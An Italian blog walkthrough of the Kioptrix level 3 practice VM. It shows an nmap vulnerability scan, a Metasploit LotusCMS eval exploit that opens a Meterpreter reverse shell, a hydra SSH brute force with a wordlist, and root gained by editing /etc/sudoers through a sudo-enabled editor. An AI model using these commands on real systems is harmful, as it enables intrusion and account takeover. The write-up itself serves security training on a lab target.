Ed eccoci al penultimo livello! Come al solito, la macchina virtuale si trova a questo indirizzo. Per chi si fosse perso i livelli precedenti, nel livello 1 sono entrato nel dispositivo utilizzando una vulnerabilità presente nella versione di Samba, mentre nel livello 2 era possibile effettuare un SQL Injection e da li, utilizzando netcat, è stata usata una reverse shell insieme ad un privilege escalation per ottenere i permessi di root.
Per chiunque sia qui per la prima volta, consiglio oltre alla visione del livello 1 e del livello 2, anche gli articoli sul Footprinting e sullo Scanning.
All’avvio della macchina ci viene detto di inserire nel nostro file host l’indirizzo IP della macchina di kioptrix. Per farlo digito (con i permessi di root)
echo 192.168.1.106 kioptrix3.com >> /etc/hosts
Dopo i predenti livelli, dovreste ormai sapere che uno dei primi passi consiste in una scansione dell’host e cercare di scoprire in quale modo possiamo attaccare la macchina. In questo livello l’output della scansione dell’host è
┌─[✗]─[mrtouch@parrot]─[~]
└──╼ $nmap -A 192.168.1.106 --script default,vuln
Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-16 11:34 CEST
Nmap scan report for 192.168.1.106
Host is up (0.0050s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.106
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.106/index.php?system=Admin
| Form id: contactform
| Form action: index.php?system=Admin&page=loginSubmit
|
| Path: http://192.168.1.106/gallery/
| Form id:
| Form action: login.php
|
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /cache/: Potentially interesting folder
| /core/: Potentially interesting folder
| /icons/: Potentially interesting folder w/ directory listing
| /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
|
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
| http://192.168.1.106/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
| http://192.168.1.106/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspiderider
| http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|_ http://192.168.1.106/index.php?page=index%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-trace: TRACE is enabled
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ho utilizzato gli script di nmap per vedere se potevo già rilevare delle vulnerabilità e a quanto pare ha funzionato. Tralasciando che è vulnerabile all’attacco DOS, la presenza di una pagina di login e una possibile sql injection fa ben sperare. Visto che c’è la porta 80 aperta, controllo con il browser la pagina e dal menu in alto vado alla pagina di login.
Non provo ad utilizzare BurpSuite poiché quasi sicuramente non troverei nulla, anche perchè già nel secondo livello non ha funzionato. Visto che la pagina di login mostra che il CMS utilizzato è Lotus, provo a cercare tramite searchsploit se esistono delle vulnerabilità
┌─[mrtouch@parrot]─[~]
└──╼ $searchsploit lotuscms
------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
LotusCMS 3.0.3 - Multiple Vulnerabilities | ./php/webapps/16982.txt
LotusCMS 3.0 - eval() Remote Command Execution (Metasploit) | ./php/remote/18565.rb
Osservando la prima sembra che non interessi al nostro caso, quindi provo ad utilizzare la seconda con Metasploit.
Inserisco ora l’indirizzo IP della vittima e l’url che mi interessa testare
msf exploit(lcms_php_exec) > set rhost 192.168.1.106
rhost => 192.168.1.106
msf exploit(lcms_php_exec) > set uri /index.php?page=index?system=Admin
uri => /index.php?page=index?system=Admin
msf exploit(lcms_php_exec) > run
[*] Started reverse TCP handler on 192.168.1.105:4444
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Sending stage (33721 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.106:41432) at 2016-10-16 13:30:00 +0200
meterpreter > ls
Listing: /home/www/kioptrix3.com
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 4096 dir 2011-04-15 15:21:17 +0200 cache
40777/rwxrwxrwx 4096 dir 2011-04-14 18:24:17 +0200 core
40777/rwxrwxrwx 4096 dir 2011-04-14 18:24:17 +0200 data
100644/rw-r--r-- 23126 fil 2011-04-14 18:23:13 +0200 favicon.ico
40755/rwxr-xr-x 4096 dir 2011-04-14 17:32:31 +0200 gallery
100644/rw-r--r-- 26430 fil 2011-04-14 18:23:13 +0200 gnu-lgpl.txt
100644/rw-r--r-- 399 fil 2011-04-14 18:23:13 +0200 index.php
40777/rwxrwxrwx 4096 dir 2011-04-14 18:24:17 +0200 modules
40777/rwxrwxrwx 4096 dir 2011-04-14 18:24:17 +0200 style
100644/rw-r--r-- 243 fil 2011-04-14 18:23:13 +0200 update.php
Ed ecco che siamo dentro alla cartella del server.
Girovagando un pò trovo nella cartella /home/www/kioptrix3.com/data/users due file. Provo a visualizzarne il contenuto
Ho provato per circa un’ora a craccare la password con John, ma non sembra riconoscerla, per cui abbandono questa via.
Andando a ritroso nella cartella del server scopro la presenza di due utenti nel sistema
Avendo notato la porta ssh aperta con la scansione di nmap effettuata precedentemente, provo ad utilizzare hydra per trovare la password di un utente con il comando:
hydra -l loneferret -P Desktop/Infor/psw/wordlists-user-passwd/rockyou.txt 192.168.1.106 ssh -t 4 -v
E dopo pochi minuti, riesco a trovarla
Mi connetto quindi all’account con ssh
ssh loneferret@192.168.1.106
loneferret@192.168.1.106's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
Provo ad aprire il file delle password ma sembra che loneferret sia un semplice utente, mentre la sfida vuole che guadagniamo l’accesso a root. Indago un pò cercando nei file che ho a disposizione
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
loneferret@Kioptrix3:~$ which ht
/usr/local/bin/ht
loneferret@Kioptrix3:~$ ./checksec.sh
Usage: checksec [OPTION]
Options:
--file
--dir [-v]
--proc
--proc-all
--proc-libs
--kernel
--fortify-file
--fortify-proc
--version
--help
For more information, see:
http://www.trapkit.de/tools/checksec.html
loneferret@Kioptrix3:~$ ./checksec.sh --file /usr/local/bin/ht
RELRO STACK CANARY NX PIE FILE
No RELRO Canary found NX disabled No PIE /usr/local/bin/ht
Chechsec.sh è uno script che permette di rendere più sicuro un sistema offrendo tecniche di mitigazione agli amministratori di sistema.
Visto che nel file CompanyPolicy consiglia di utilizzare sudo ht, provo ad usarlo per aprire il file delle password
sudo ht /etc/shadow
Essendo riuscito ad avere i permessi tramite ht, modifico i permessi dell’utente editando il file /etc/sudoers
loneferret@Kioptrix3:~$ sudo ht /etc/sudoers
Ammetto che non sapevo neanche dell’esistenza di questo editor, ho prima guardato l'help online per scoprire i comandi. Per aprire il nostro file e poterlo modificare bisogna:
In questo modo posso modificare il file e dare finalmente i permessi al nostro utente. Come lo modifico? Semplice, elimino la regola che ha il nostro utente e do tutti i permessi
Con pochi comandi posso sia modificare la password che visualizzare cartelle e file dove prima non potevo
root@Kioptrix3:/home/loneferret# ls /root/
Congrats.txt ht-2.0.18
root@Kioptrix3:/home/loneferret# cat /root/Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Anche stavolta il livello di difficoltà è aumentato. Non proprio nella prima parte ma più nella seconda, nella quale c’era bisogno di effettuare una Privilege Escalation. Ovviamente ci sono altri modi per raggiungere questo traguardo, questo è solo uno dei tanti. Il prossimo livello sarà l’ultimo, speriamo sia divertente quanto questo!